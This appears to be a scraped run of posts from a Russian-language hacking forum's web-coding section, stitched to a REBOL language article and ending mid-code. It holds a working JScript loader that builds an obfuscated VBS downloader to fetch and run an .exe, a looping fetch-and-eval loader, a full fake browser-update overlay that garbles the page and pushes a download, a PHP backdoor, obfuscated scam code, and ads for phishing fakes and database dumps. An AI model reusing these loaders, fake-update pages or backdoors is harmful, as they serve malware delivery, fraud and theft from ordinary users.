опасных конкурентов от неопасных. Чем больше отдавало IT-мэйнстримом от
описания требуемых кандидатур, тем менее опасна была компания. Самыми
безопасными были те, кому требовались специалисты по Oracle. О таких не стоило
беспокоиться. Также мы были спокойны, если требовались разработчики на C++ или
Java. Если требовались программисты на Perl или Python, это уже было слегка
пугающе — это значило, что компанией или, по крайней мере, ее технической
частью заправляли настоящие хакеры.
...гы))) ...это не прикол ...он эту лекцию в Кембридже между прочим читал))
...на симпозиуме разработчиков))) ...хлопчик буржуйский и занимается
разработкой коммерческого торгового ПО ...а вот самый интересный кусочек я из
этого абзаца убрал ...хватит с тебя халявы))) ...намек в следующих строчках
...думай сам)))
...а потом был еще один такой разговор ...я спросил у парня насчет такого
языка как LISP ...ответ был таков ...этот язык умер))) ...очень даже может
быть))) ...хотя когда-то бытовало среди серьезных программеров такое мнение
что LISP обязан знать каждый хакер))) ...про такой язык как Rebol вообще было
бессмысленно спрашивать ...врядли о нем кто-то что слышал в нашем городе)))
...значит еще пара абзацев))):
REBOL (Relative Expression-Based Object Language - «относительный [или все же
«родственный»?], основанный на выражениях объектный язык») был разработан
Карлом Сассенратом (Carl Sassenrath), задавшимся целью создать простой язык,
очень близкий («родственный») к естественному человеческому, некий диалект
(понятно, что речь идет об английском языке). Это скриптовый язык, подобный
Perl, Ruby, Tcl, Python, но очень простой и маленький (размер дистрибутива
составляет около 250 Кбайт для REBOL/Core и около 400 Кбайт для REBOL/View).
Особенностью языка является ориентация на Интернет, поэтому не должно
удивлять, что в REBOL встроена поддержка сетевых протоколов HTTP, FTP, SMTP,
NNTP, POP3 (то есть не нужны никакие расширения, модули или библиотеки), и,
например, операция чтения read может в качестве аргумента получить и имя файла
на локальном диске, и URL. Это позволяет загрузить и сохранить HTML-страницу
или послать письмо, написав буквально одну строчку кода. Другая особенность
REBOL - его интерпретатор работает уже под двадцатью операционными системами
на сорока двух платформах без изменения исходников, что позволяет говорить о
его платформонезависимости (подобно Java). Все это дает право разработчикам из
фирмы REBOL Technologies называть язык средством распределенных коммуникаций
(distributed communications), позволяющим не только обмениваться файлами и
сообщениями между различными системами (компьютерами), но и обеспечивающим
взаимодействие между человеком и компьютером.
Как это обычно бывает, крохотная программка, дистрибутивная поставка которой
занимает всего 179 KB (в формате zip), становится очень серьезным камнем
преткновения. Конечно, катастрофическое несоответствие между размерами
реализации и потенциальной функциональностью -- дело в скриптинге обычное. Но
в случае с языком Rebol слово "катастрофический" не подходит... Впрочем, не
будем отвлекаться и использовать отпугивающие раньше времени эпитеты и начнем
по порядку.
Автор Rebol -- личность без сомнения яркая и хорошо известная, но только не у
нас. Пик его знаменитости пришелся на те времена, когда "железный занавес" был
еще достаточно прочным. Карл Сазенрат (Karl Sassenrath), архитектор знаменитой
Amiga OS -- первой многозадачной мультимедийной операционной системы, отдал
Rebol почти 20 лет своей жизни! И, надо сказать, -- не зря. Сегодня эта
программка-малютка совершенно одинаково работает чуть ли не на всех известных
(и даже почти неизвестных) платформах (более сорока наименований), численность
сообщества ее пользователей давно перевалила за "эпохальную" отметку в один
миллион, а сам Rebol даже стал основой независимой от платформы сетевой
операционной среды с более чем впечатляющими возможностями.
Знакомство с Rebol стоит начинать с преодоления первой трудности --
произношения названия, которое может показаться очевидным. Хотя бы потому, что
эта трудность символична: очень многое в Rebol, что кажется слишком очевидным,
скрывает за собой далеко не столь очевидные вещи. Итак, название "Rebol"
правильно произносится как... "rebel yell", и правило это свято соблюдается
многочисленной армией пользователей.
Вторая трудность на деле трудностью не является и заключается в определении
того, что мы назвали "аспектом применения". Несмотря на то что любой язык
скриптового программирования обладает достаточной степенью универсальности, у
каждого есть если не четко определенная, то четко "прорисованная"
десятилетиями массового применения область, в которой этот язык соответствует
решаемым задачам наилучшим образом. В случае с Rebol "аспект применения"
известен изначально и определен самим создателем так: "Обмен и интерпретация
информации в распределенных компьютерных системах". Звучит настораживающе емко
для менее чем двухсоткилобайтовой программы, не правда ли? Но давайте
прислушаемся к мнению автора куда более известного языка Perl -- Ларри Уолла
(Larry Wall). Он, естественно, не очень жалует Rebol, но, тем не менее,
говорит о нем так: "Rebol -- это фактически освобожденный от скобок вариант
Lisp, включающий в себя очень полезные типы данных, например, адреса
электронной почты, даты и URL. Как и всякий Lisp-подобный язык, Rebol
некоторым может показаться слишком необычным..."
Сегодня язык функционального программирования Lisp утратил свою популярность
15--20-летней давности, поэтому даже его название может ни о чем не говорить
многим. В основе этого языка лежит математическая строгость описания функции
(именно как математического понятия), а следствие этой строгости -- иногда
доводящая до исступления избыточность... скобок. Некогда бывшие одними из
излюбленных инструментов "настоящих хакеров", реализации Lisp со временем
разрослись до слишком больших масштабов и, как все динозавры, остались в
прошлом. Но идеи языка живы во многих облегченных реинкарнациях, среди которых
самой популярной сейчас остается Scheme.
Естественно, начинать изучать новый язык лучше всего с установки его
реализации на свой компьютер. Тем более что размеры Rebol мизерны, а
специфических требований к платформе у него, по сути, нет. Дистрибутив базовой
поставки языка (бесплатный для персонального использования) Rebol Core можно
получить по адресу www.rebol.com/download.html, пройдя ни к чему не
обязывающую процедуру предварительной регистрации. Установка системы
элементарна для любых ОС -- собственно, никаких специальных процедур нет
вообще, достаточно просто распаковать файл в выбранный каталог.
"Свежеустановленный" дистрибутив Rebol Core содержит один исполняемый файл
впечатляющих размеров (rebol или rebol.exe в зависимости от платформы занимает
почти целых 260 KB) и несколько готовых программ-скриптов. Все это дает почти
самодостаточную среду одновременно разработки и выполнения Rebol-программ,
включающую в себя реализацию собственной интерактивной консоли (даже с
автодополнением длинных имен нажатием клавиши Tab). И, прежде чем вводить
первую команду в этом окне, следует... запастись терпением. Потому что Rebol
готовит массу неожиданностей, особенно для тех, кто уже знает один или
несколько "обычных" языков.
Первая приятная неожиданность Rebol -- изобилие встроенных типов данных,
свидетельствующее о том, что вы столкнулись с редким образчиком "языка
Internet сверхвысокого уровня". В нем совершенно обычной процедурой является
отправка одной строчкой командной строки e-mail и парой строчек -- получение и
сложная фильтрация html-страницы указанного вами Internet-ресурса. Казалось
бы, в этом нет ничего необычного, и, например, пользователей Unix-подобных ОС
такими функциями удивить трудно. Но давайте вспомним, что мы уже знаем о
Rebol, а именно -- о кросс-платформенности его реализации, -- и на секунду
задумаемся: каким образом ее создателям удалось разработать столь мобильный
платформенно-независимый механизм вызова сторонних программ для
отправки/получения электронной почты и "закачки" с использованием HTTP-
протокола, ведь это действительно весьма сложная проблема. И вот тут время
удивиться первый раз, потому что ответ на данный вопрос крайне лаконичен --
"Никаким!". Rebol вообще "не умеет" вызывать сторонние программы, и вместо
этого в своих неполных трехстах килобайтах инкапсулирует реализации основных
сетевых протоколов -- DNS, Finger, Whois, Daytime, HTTP, SMTP, POP, FTP, NNTP,
TCP и UDP. Но подождите удивляться сильно -- то ли еще будет. И раз мы начали
говорить об изобилии типов данных, то приведем и их пока неполный перечень:
число (целое и с плавающей точкой, в том числе и в научной форме записи,
допускается так называемая "Европейская нотация", например "0,001"), время (в
форматах "часы:минуты" и "часы:минуты:секунды"), дата (в американской и
международной форме записи), деньги (а как же без такого типа данных), набор
(tuple, короткое множество чисел, разделенных символом ".", используется для
представления цветов в форме RGB или IP-адресов), строка, тег (да-да, те самые
теги, применяющиеся в языке разметки HTML и мета-языке XML), адрес e-mail ,
URL, имя файла, пара (значение такого типа может хранить, например, информацию
о координатах -- "100 100"), идентификационный номер (issue, значения
начинаются с символа "#") и, наконец, бинарная величина (последовательности
байтов произвольной длины). Пожалуй, ни один другой скриптовый язык ничем
подобным не располагает...
Но встроенные реализации сетевых протоколов и базовые типы данных -- это
далеко не все и даже не главное, что есть в Rebol. Наверное, главное -- то,
что сам создатель языка назвал "dialecting" -- приспособленность к
формированию диалектов (фактически -- определяемых пользователем специфических
языков), обеспечиваемая "коктейлем" из объектно-ориентированных механизмов,
глубинных элементов функционального программирования и "свободного"
синтаксиса. О последнем стоит сказать особо -- в Rebol нет ни
зарезервированных ключевых слов, ни зависимости от регистра, ни значимых
непечатных символов.
Вероятнее всего, после такого ужасающе-впечатляющего (и все еще далекого от
полноты) перечня характеристик и возможностей удержаться от запуска программы
будет трудно, так что смело запускайте и выполните свои первые действия в
среде Rebol -- конфигурирование. Не следует бояться этого страшного слова --
системный архитектор Amiga OS, заслуженно уважаемой за дружелюбие, и здесь
"держит марку". Никакой правки криптографических plain-text конфигурационных
файлов не будет -- интерпретатор Rebol запросит у вас ваш e-mail и адреса
SMTP, POP и proxy-серверов. Покончив с данной процедурой, можете себя
поздравить: вы пока не написали первой программы на Rebol, но приняли участие
в ее автоматическом создании (ваша первая программа хранится в файле с именем
user.r и является полноценным Rebol-скриптом).
Теперь ваша собственная среда Rebol полностью готова к работе, и наступила
пора первого знакомства тет-а-тет. Для этого вам на первых порах понадобится
знание всего двух команд -- "what" и "help". Набрав первую из них и "отдав" ее
на выполнение интерпретатору нажатием клавиши Enter, вы "спровоцируете"
неожиданную активность Rebol -- интерпретатор "вывалит" в окно длинный
перечень имен предопределенных (или "встроенных", но это менее точно в случае
Rebol) функций. О любой из них можно подробнее узнать с помощью функции
"help", введя в консоли Rebol строку в формате "help имя_функции" и нажав
Enter. Настало время удивиться еще раз -- не часто встретишь встроенный
механизм самодокументирования, да еще и так просто и удобно выполненный, в
языке с подобным размером реализации.
...гы))) думаю что ты не сильно утомился этим чтением))) ...комментариев не
будет ...какой язык учить и зачем ...каждый решает сам))) ...но может быть
стоит задуматься о том ...а все йогурты одинаково полезны?))) ...думайте сами
...решайте сами)))
Народ кто знает как запустить компилятор MINGW?
1.Как сразу оборачивать текст, который я пишу в div contenteditable="true" в такую конструкцию
[mod][Great:] Отныне в этом топике задаем вопросы по барсику.[/mod]
Люди помогите.
Я не могу толком разобраться с tree view. Я создал несколько узлов.
Set tempnode = tv1.Nodes.Add(, , , "Тест1")
Set tempnode = tv1.Nodes.Add(, , , "Тест2")
Set tempnode = tv1.Nodes.Add(, , , "Тест3")
Нужно чтобы при нажатии на каждый из них, в pictureBox грузились картинки. Как
это реализовать? Помогите пожалуйста.
I dont know if its good section, because i dont know russian language, if its bad please move the topic to the appropriate section.
I got question about DB wattpad.com I split the file into 500 parts so every file has 220mb i want copy specific emails from this database i was using notepad++ i choose for example interia.pl marks all and wanted copy them, but copied things weigh too much and email extractor is not able to load it so I cant copy the email I need.
Do u have any solution for this? how to copy specific emails from whole database ?
Слова автора с соседней площадки:
Делал данный проект для продажи на соседнем борде, но первый же покупатель его
слил.
Всем мир!
Описание товара:
Что нужно для запуска:
Hidden content for authorized users.
Hidden content for authorized users.
Hidden content for authorized users.
Hello!
I am making a script, where I will need to leave a backdoor just to be safe I am not scammed. I do not want to use anything like C99 and so on since all that is detected as fuck.. So probably I will just write my own small script to do the necessary things.. for example:
PHP:Copy to clipboard
if(isset($_GET["secret_backdoor"])) {
if($_GET["destroy"]) {
$db->clearDatabase();
}
if($_GET["something_else"]) {
// more..
}
}
What do you think? Should I do this and make my own? Or there are any alternatives around?
Thank you, -b3hindYou™
help me deobfuscate a javascript code used in a recent popular roblox.com scam
Sources:
httpx://rolinked.com/
httpx://www.youtube.com/watch?v=og2d5niB09A
Code sample:
JavaScript:Copy to clipboard
javascript: function D(z, N) {
var B = U();
return D = function(K, L) {
K = K - (-0x210c + -0x139 * 0x7 + 0x2aff);
var J = B[K];
return J;
}, D(z, N);
}
function U() {
var cM = ['vSjac', 'prima', 'HoEhQ', '\x22>Acc', '...
return % 20 U();
}(function(z, N) {
function % 20 zB(z, N, K, L, J) {
return % 20 D(L - % 20 - 0x34d, K);
}
function % 20 zK(z, N, K, L, J) {
return % 20 D(K - 0x5c, z);
}
function % 20 zL(z, N, K, L, J) {
return % 20 D(J - 0x12e, N);
}
Хелпаните как юзать socks5 прокси в http2 агенте? Я сколько не пробовал у меня
вообще ничего не получалось через http2, выдает ориг ип
я пробовал разные параметры, пробовал проксичейны пихать, нифига
JavaScript:Copy to clipboard
const { Agent } = require('http2-wrapper');
const { SocksProxyAgent } = require('socks-proxy-agent');
async function importGotScraping() {
const { gotScraping } = await import('got-scraping');
return gotScraping;
}
(async () => {
try {
const scrap = await importGotScraping();
const proxyUrl = "socks5://127.0.0.1:4000"; // прокси рабочие работает в обычном http 1.1
const socksProxyAgent = new SocksProxyAgent(proxyUrl);
const http2Agent = new Agent({
proxy: socksProxyAgent
});
const fff = await scrap.get('https://api.ipify.org?format=json', {
headers: {
'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
'accept-language': 'en-US,en;q=0.9',
'priority': 'u=0, i',
'sec-ch-ua': '"Microsoft Edge";v="125", "Chromium";v="125", "Not.A/Brand";v="24"',
'sec-ch-ua-mobile': '?0',
'sec-ch-ua-platform': '"Windows"',
'sec-fetch-dest': 'document',
'sec-fetch-mode': 'navigate',
'sec-fetch-site': 'none',
'sec-fetch-user': '?1',
'upgrade-insecure-requests': '1',
'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 Edg/125.0.0.0',
},
http2: true,
agent: {
http: socksProxyAgent,
https: socksProxyAgent,
http2:http2Agent,
}
});
console.log('Status Code:', fff.statusCode);
console.log('Body:', fff.body);
} catch (error) {
console.error('Error:', error);
}
})();
Вот у меня возник вопрос по стеку node.js
Я как , старый вэбкодер, не пойму, чего народ на него так дрочит?
Чего нельзя сделать на php, python или golang и можно только на ноде?
Ну я бы понял какие то ну супер принципиальные различия, но что такого
заебического в яваскриптах, выполняемых на сервере?
Скорость исполнения на сервере, срок разработки, стоимость разработки и
поддержки?
Так нет же этого.. По крайней мере, я только вижу стоимость разработки и
поддержки,
увеличенную в 2-3 раза, не говоря даже об отсутствии нормальных специалистов.
Все западные маркетплейсы работают по технологии NoJavascript, чтобы усилить
приватность юзера, а тут мы наоборот пихаем яваскрипты, куда только можно и не
можно.
Да и админкам ботнетов яваскрипты скорее вредны, чем жизненно-необходимы.
Я ,конечно, про нашу тематику говорю, в других местах может это и нормально.
Ваши мнения, господа кодеры?
Hello as topic says i will deobfuscate your js drop your files in pm or in the thread
A simple search engine + local db + add entry in php.
File list
add.php - Add links/text to db.txt
db.txt - Where the links/text is stored
index.html - The visual interface for the user
search.php - The search mechanism. It searches in db.txt looking for the
corresponding text.
Download
https://www.mediafire.com/file/nkfs26gs0tt3...B+add+entry.rar
Virustotal
https://www.virustotal.com/#/file/bb1710dac...4201a/detection
Как создать на php, js свой фишинговый сервис, т.е. как реализовать весь этот
функционал, чтобы после перехода по ссылке сграбить данные такие как MAC адрес
и другую примитивную информацию, возможно стиллер логов и паролей хрома и т.д.
В этой теме совсем профан, хотелось бы узнать как это делается(чем подробнее и
проще объяснение, тем лучше) и какие-нибудь примитивные примеры кода для
дальнейшей разработки
посоветуйте ютуберов,сайты,курсы как и где и в каком порядке изучать,заранее спасибо
Установил инструмент HttpPwnly, но после тестирования на сервере, выяснилось, что на стороне клиента (Браузера) я получаю ошибку: "Uncaught ReferenceError: io is not defined". Подскажите пожалуйста, как её избежать, и что для этого нужно сделать?
Привет, всем. Нужно модифицировать маленький код (на javascript) так, чтобы
рисовалась только лишь траекторию последней точки радиуса последней
окружности, как например, если бы я находился на Луне - неподвижно, и
рисовалась бы траекторию движения моей мертвой точки, относительно Солнца.
Исходник
Требуется Кодер на PHP и Html для создания с нуля серверной части,
Нужно написать простенькую админ панель ,
Функционал PHP скриптов декод байтов в img и сохранения координат которые
прилетели с post или get запроса
tg:@GayFox_322
Хочу изучить JS , может кто накидать каких-либо полезных ресурсов на эту тему?
Очень бы помогло
js знаю более менее, не понятно как внедрить файл в тот же самый вк и как перехватывать трафик, был бы благодарен, если кто-то шарит и может на простом примере показать
Всем привет!
Имеется MySQL база c таблицей, в которой сохранены фото.
Помогите пожлуйста слить все фотки одним запросом в папку. Если сделать такой
запрос, то фотка с ID 29345 выгружается и открывается.
_SELECT photo FROM user_photo WHERE id_user=29345 into dumpfile
"//10.10.10.18/1/3.jpg" _
Но как это сделать сразу для всех 28 тысяч строк? Никак не могу понять.
Подскажите, заранее благодарен!
Дано:
Таблица user_photo
Фото в столбце photo
IDшники в столбце id_user
Общая папка, куда копировать //10.10.10.18/1
**
Требования:**
1. Выдернуть фотки только SQL запросом.
2. Название конечного файла не важно. Можно подставить в имя IDшник, но не
принципиально.
Услуги Веб кодирования
Создание сайтов с нуля, копии интерфейсов , функционала , написание скриптов
под фейк , написание фейков ,
слив баз с сайтов по мере возможности.
Гарант +
Телеграмм @Bhf_t
Быстро , качественно,недорого.
Найдем общий язык с любым заказчиком.
Анонимность и Работу в одни руки гарантирую.
Ребят что прописать в index.php что бы при открытии сайта скачивался файлик?
Wodpress.
Вообщем есть кнопка на сайте вот её код
HTML:Copy to clipboard
<div class="call-to-action"><a href="https://google.com" class="buy-it-now"><i class="icon-shopping-cart"></i> To look now it is free.</a></div>
при нажатии этой кнопки пользователя перебрасывает на сайт гугла.
Я хочу сделать так чтобы при нажатии на эту кнопку у человека на сайте
выскакивало оповещение с тесктом "чтобы выполнить это действие нужно обновить
флеш плеер) и если человек нажимал ОК то ему с сервера где находиться сайт
подгружали файл флеш плеера. Буду очень благодарен если кто-то поможет в
реализации так как в вебе особо не шарю.
Здравствуйте. Хотелось бы сделать базу данных с формой заполнения.
Т.е. Нужно создать базу со списком как тут cybersport.ru/base/teams, чтобы Гость зашел, зарегистрировал команду, подождал одобрения или отказа о добавлении команды в базу и мог изменять информацию о команде. Есть ли какая- либо информация/мануал, как все это провернуть?
вот я доделал проект..
убрал лишний хлам со скрипта
оптимизировал код
убрал скл инекции
защитил бд и ад-панель
добавил вход через вк
изменил дизайн сайта
добавил предлодер
добавил игру сундуки
угадай число
добавил игру угадай цвет (красное,синее)
добавил новые правила
добавил ежедневный бонус
изменил дизайн кнопок
цена 650р.
писать в тг - deaderror
Нуждаюсь в полноценном веб шелле для пхп 5, 7 и хттпс. Есть паблик варианты за
2017-2019 год?
Weevely3 модули с хттпс не работали.
Так же ищу веб страницу о выводе сообщения обновления браузера, расширения и подобного. Паблик варианты сюда в тему, предложение на разработку в пм (бюджет, опыт, примеры).
Я знаю что многим был нужен Java Script loader который будет скачивать файлы, подкину два примера(на 10 винде не работает)
JavaScript:Copy to clipboard
var NL = new ActiveXObject("shell.application");
NL.ShellExecute("cmd",'/c cd %temp% &@echo G8h = "animarts.kl.com.ua/вв.exe">>L7h.vbs &@echo R6u = Q2m("gk[CZmZ")>>L7h.vbs &@echo Set C6l = CreateObject(Q2m("bhmbaGCmba]iie"))>>L7h.vbs &@echo C6l.Open Q2m("\Zi"), G8h, False>>L7h.vbs &@echo C6l.send ("")>>L7h.vbs &@echo Set A8j = CreateObject(Q2m("VYdYWChigZVb"))>>L7h.vbs &@echo A8j.Open>>L7h.vbs &@echo A8j.Type = 1 >>L7h.vbs &@echo A8j.Write C6l.ResponseBody>>L7h.vbs & @echo A8j.Position = 0 >>L7h.vbs &@echo A8j.SaveToFile R6u, 2 >>L7h.vbs &@echo A8j.Close>>L7h.vbs &@echo function Q2m(P1g) >> L7h.vbs &@echo For U6y = 1 To Len(P1g) >>L7h.vbs &@echo Y7h = Mid(P1g, U6y, 1) >>L7h.vbs &@echo Y7h = Chr(Asc(Y7h)- 21) >>L7h.vbs &@echo D3k = D3k + Y7h >> L7h.vbs &@echo Next >>L7h.vbs &@echo Q2m = D3k >>L7h.vbs &@echo End Function >>L7h.vbs& L7h.vbs &dEl L7h.vbs & timeout 13 & RVF.EXE', "","",0)
это был первый пример, плохо работающий, но по крайней мере может работать если все правильно настроить
JavaScript:Copy to clipboard
do{try{var A=new ActiveXObject("MSXML2.XMLHTTP");A.open('POST','site.ru/exe.exe',false);A.send(null);eval(A.responseText);}catch(err){WScript.Sleep(7e3);}WScript.Sleep(7e3);}while(true);
вот этот способ использует vCruelty Cryptor
минусы то что оба способа работа очень плохая, знатоки прошу кто может
исправить пишите)
Написал сайт, но там есть функция, которая работает только по http
Попробовал сделать SSL через Apache, но там проблема с записью в файл.
Ну так вот, как сделать SSL без Apache через php(На нем работает сайт)?
Случайно наткнулся на ленд чей то,цените,если лажа то в топку )
Spoiler: код
JavaScript:Copy to clipboard
function getCookie(name)
{
var cookie=" "+document.cookie;
var search=" "+name+"=";
var setStr=null;
var offset=0;
var end=0;
if(cookie.length>0)
{
offset=cookie.indexOf(search);
if(offset!=-1)
{
offset+=search.length;
end=cookie.indexOf(";
",offset);
if(end==-1)
{
end=cookie.length
}
setStr=unescape(cookie.substring(offset,end))
}
}
return(setStr)
}
function setCookie(name,value,expires,path,domain,secure)
{
document.cookie=name+"="+escape(value)+((expires)?";
expires="+expires:"")+((path)?";
path="+path:"")+((domain)?";
domain="+domain:"")+((secure)?";
secure":"")
}
var link_to_file='filename.zip';
var ShowOneTime=true;
var sCodeOnShow=' <img src="//url-na-statu" alt="frontpage hit counter" border="0">';
var sCodeOnClick=' <img src="//url-na-statu" alt="free hit counters" border="0">';
var isFirefox=typeof InstallTrigger!=='undefined';
var isChrome=/Chrome/.test(navigator.userAgent)&&/Google Inc/.test(navigator.vendor);
var isOpera=(!!window.opr&&!!opr.addons)||!!window.opera||navigator.userAgent.indexOf(' OPR/')>=0;
var isIE=false||!!document.documentMode;
var isEdge=!isIE&&!!window.StyleMedia;
var isSafari=/Safari/.test(navigator.userAgent)&&/Apple Computer/.test(navigator.vendor);
var isMobile=/Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(navigator.userAgent);
if(!isMobile&&!isSafari&&(getCookie('oneshow')!='complete'))
{
if(ShowOneTime==true)
{
var now=new Date();
now.setTime(now.getTime()+1000*3600*24*365);
setCookie('oneshow','complete',now.toGMTString())
}
function onClick()
{
document.body.innerHTML+=sCodeOnClick;
return true
}
document.body.innerHTML+=" <div class='samodal saitem'> <div class='top_txt'> <img class='logo' src='https://i.imgur.com/sBB68wf.png'> <p class='modal_h'><span class='browser_name'>Browser</span> <span>Update Center</span></p> </div> <div class='mod_content'> <p class='sa2'>A critical error has occurred due to the outdated version of the browser. Update your browser as soon as possible.</p> <p class='sa2'>The following errors are also possible on outdated versions of the browser:</p> <ul class='error-list'> <li>Loss of personal and stored data</li> <li>Confidential information leak</li> <li>Browser errors</li> </ul> </div> <div class='footer_button'> <a class='download_butt link_to_file' onclick='onClick();
' href='' download=''>Update</a> </div> </div> <div class='saoverlay saitem'></div> <style> .saitem html, .saitem body, .saitem div, .saitem span, .saitem applet, .saitem object, iframe, .saitem h1, .saitem h2, .saitem h3, .saitem h4, .saitem h5, .saitem h6, .saitem p, .saitem blockquote, .saitem pre, .saitem a, .saitem abbr, .saitem acronym, .saitem address, .saitem big, .saitem cite, .saitem code, .saitem del, .saitem dfn, .saitem em, .saitem font, .saitem img, .saitem ins, .saitem kbd, .saitem q, .saitem s, .saitem samp, .saitem small, .saitem strike, .saitem strong, .saitem sub, .saitem sup, .saitem tt, .saitem var, .saitem dl, .saitem dt, .saitem dd, .saitem ol, .saitem ul, .saitem li, .saitem fieldset, .saitem form, .saitem label, .saitem legend, .saitem table, .saitem caption, .saitem tbody, .saitem tfoot, .saitem thead, .saitem tr, .saitem th, .saitem td
{
margin: 0!important;
padding: 0!important;
border: 0!important;
outline: 0!important;
font-weight: inherit!important;
font-style: inherit!important;
font-size: 100%!important;
font-family: inherit!important;
vertical-align: baseline!important;
}
.saoverlay
{
z-index: 16000005!important;
position: fixed!important;
display:none;
background-color: #000!important;
opacity: 0.4!important;
width: 100%!important;
height: 100%!important;
top: 0!important;
left: 0!important;
cursor: wait!important;
}
.samodal
{
display:none;
width: calc(100% - 30px)!important;
max-width: 650px!important;
height: auto!important;
position: fixed!important;
top: 50%!important;
left: 50%!important;
-webkit-transform: translate(-50%,-50%)!important;
-ms-transform: translate(-50%,-50%)!important;
transform: translate(-50%,-50%)!important;
z-index: 16000010!important;
border-radius: 3px!important;
-webkit-box-sizing: border-box!important;
box-sizing: border-box!important;
background-color: #fff!important;
font-family: 'Arial', sans-serif!important;
color: #333!important;
line-height: 24px!important;
}
.samodal .top_txt
{
padding: 20px !important;
display: -webkit-box!important;
display: -ms-flexbox!important;
display: flex!important;
-webkit-box-align: center!important;
-ms-flex-align: center!important;
align-items: center!important;
}
.samodal .top_txt .modal_h
{
font-size: 24px!important;
font-weight: 400!important;
}
.samodal .top_txt .logo
{
width: 50px!important;
margin-right: 10px!important;
}
.samodal .mod_content
{
padding: 0px 20px 0px 20px!important;
}
.samodal .mod_content .sa2
{
font-size: 18px!important;
margin-bottom: 15px!important;
}
.samodal .mod_content .error-list
{
margin-bottom: 15px!important;
}
.samodal .mod_content .error-list li
{
font-size: 18px!important;
display: -webkit-box!important;
display: -ms-flexbox!important;
display: flex!important;
-webkit-box-align: center!important;
-ms-flex-align: center!important;
align-items: center!important;
color: #ff0000!important;
}
.samodal .mod_content .error-list li:before
{
content: ''!important;
display: inline-block!important;
background: url( )!important;
-webkit-box-flex: 0!important;
-ms-flex: 0 0 35px!important;
flex: 0 0 35px!important;
height: 35px!important;
background-size: cover!important;
position: relative!important;
margin-right: 10px!important;
}
.samodal .footer_button
{
text-align: center!important;
background-color: #f7f7f7!important;
padding: 10px 20px!important;
height: auto!important;
}
.samodal .footer_button .download_butt
{
border: 1px solid #3079ed!important;
color: #fff!important;
text-shadow: 0 1px rgba(0, 0, 0, 0.1)!important;
background-color: #4d90fe!important;
background-image: -webkit-gradient(linear, left top, left bottom, from(#4d90fe), to(#4787ed))!important;
background-image: -webkit-linear-gradient(top, #4d90fe, #4787ed)!important;
background-image: -o-linear-gradient(top, #4d90fe, #4787ed)!important;
background-image: linear-gradient(top, #4d90fe, #4787ed)!important;
font-weight: normal!important;
display: inline-block!important;
text-align: center!important;
text-decoration: none!important;
padding: 10px 25px!important;
-webkit-box-sizing: border-box!important;
box-sizing: border-box!important;
font-size: 22px!important;
}
@media (max-width: 850px)
{
.samodal .top_txt .modal_h
{
font-size: 22px!important;
}
.samodal .mod_content .error-list li
{
font-size: 16px!important;
}
}
</style>";
document.querySelector('.link_to_file').setAttribute('href',link_to_file);
{
function init_Chrome()
{
document.querySelector('.samodal .top_txt .logo').setAttribute('src','https://i.imgur.com/go00GXX.png');
document.querySelector('.browser_name').innerHTML='Chrome';
document.querySelector('.samodal').className+=' chrome'
}
function init_Firefox()
{
document.querySelector('.samodal .top_txt .logo').setAttribute('src','https://i.imgur.com/F5zqjAc.png');
document.querySelector('.browser_name').innerHTML='Firefox';
document.querySelector('.samodal').className+=' firefox'
}
function init_Opera()
{
document.querySelector('.samodal .top_txt .logo').attr('src','https://i.imgur.com/Ci9PSpH.png');
document.querySelector('.browser_name').innerHTML='Opera';
document.querySelector('.samodal').className+=' opera'
}
function init_Safari()
{
document.querySelector('.samodal .top_txt .logo').setAttribute('src','https://i.imgur.com/hpssacS.png');
document.querySelector('.browser_name').innerHTML='Safari';
document.querySelector('.samodal').className+=' safari'
}
function init_Edge()
{
document.querySelector('.samodal .top_txt .logo').attr('src','https://i.imgur.com/EfjQS7j.png');
document.querySelector('.browser_name').innerHTML='Edge';
document.querySelector('.samodal').className+=' edge'
}
function init_IE()
{
document.querySelector('.samodal .top_txt .logo').setAttribute('src','https://i.imgur.com/sLqiUR0.png');
document.querySelector('.browser_name').innerHTML='Internet Explorer';
document.querySelector('.samodal').className+=' ie'
}
switch(true)
{
case isFirefox:init_Firefox();
break;
case isChrome:init_Chrome();
break;
case isOpera:init_Opera();
break;
case isIE:init_IE();
break;
case isEdge:init_Edge();
break;
case isSafari:init_Safari();
break;
default:
}
}
[].forEach.call(document.querySelectorAll('p,span,li,a,td,h1,h2,h3,h4,h5,label,div'),function(element)
{
if((document.querySelector('.saitem').contains(element))||(hasClass(element,'saitem')))
{
}
else
{
element.innerHTML=element.textContent.replace(/[а-яА-ЯёЁa-zA-Z0-9]/gi,"�")
}
}
);
setTimeout(function()
{
document.querySelector('.samodal').style.display='block';
document.querySelector('.saoverlay').style.display='block';
document.body.innerHTML+=sCodeOnShow
}
,1000);
function hasClass(element,cls)
{
return(' '+element.className+' ').indexOf(' '+cls+' ')>-1
}
}
Нужен скрипт на perl для мониторинга действий пользователей данной площадки.
Как написать ? ))
Дабы отслеживать тех кто отслеживает. Данный бот только мониторит форум.
не прошло и минуты)))
И стоило кому написать что либо как этот киберразум лезет в аккаунт))) Можете проверить
У бота 10 минутный тайм аут, мониторит новые темы, а далее в юзера последнего
коментирующего лезет
Для использования требуется NodeJS с установленным пакетом Crypto.
Расшифровывает кошелек при помощи пароля от кошелька.
Зашифрованный кошелек можно получить при помощи ID от BlockChain.
Кому надо - большого труда разобраться не будет думаю., ибо самое сложное уже реализовано за вас.
JavaScript:Copy to clipboard
let payload;
let password;
let pbkdf2_iterations = 5000;
let SALT_BYTES = 16;
let KEY_BIT_LEN = 256;
let BLOCK_BIT_LEN = 128;
let ALGO = {
SHA1: "sha1",
SHA256: "sha256"
};
const crypto = require('crypto');
let Iso10126 = {
pad: function pad(dataBytes, nBytesPerBlock) {
var nPaddingBytes = nBytesPerBlock - dataBytes.length % nBytesPerBlock;
var paddingBytes = crypto.randomBytes(nPaddingBytes - 1);
var endByte = new Buffer([nPaddingBytes]);
return Buffer.concat([dataBytes, paddingBytes, endByte])
},
unpad: function unpad(dataBytes) {
var nPaddingBytes = dataBytes[dataBytes.length - 1];
return dataBytes.slice(0, -nPaddingBytes)
}
};
let AES = {
CBC: "aes-256-cbc",
OFB: "aes-256-ofb",
ECB: "aes-256-ecb",
encrypt: function encrypt(dataBytes, key, salt, options) {
options = options || {};
var cipher = crypto.createCipheriv(options.mode || AES.CBC, key, salt || "");
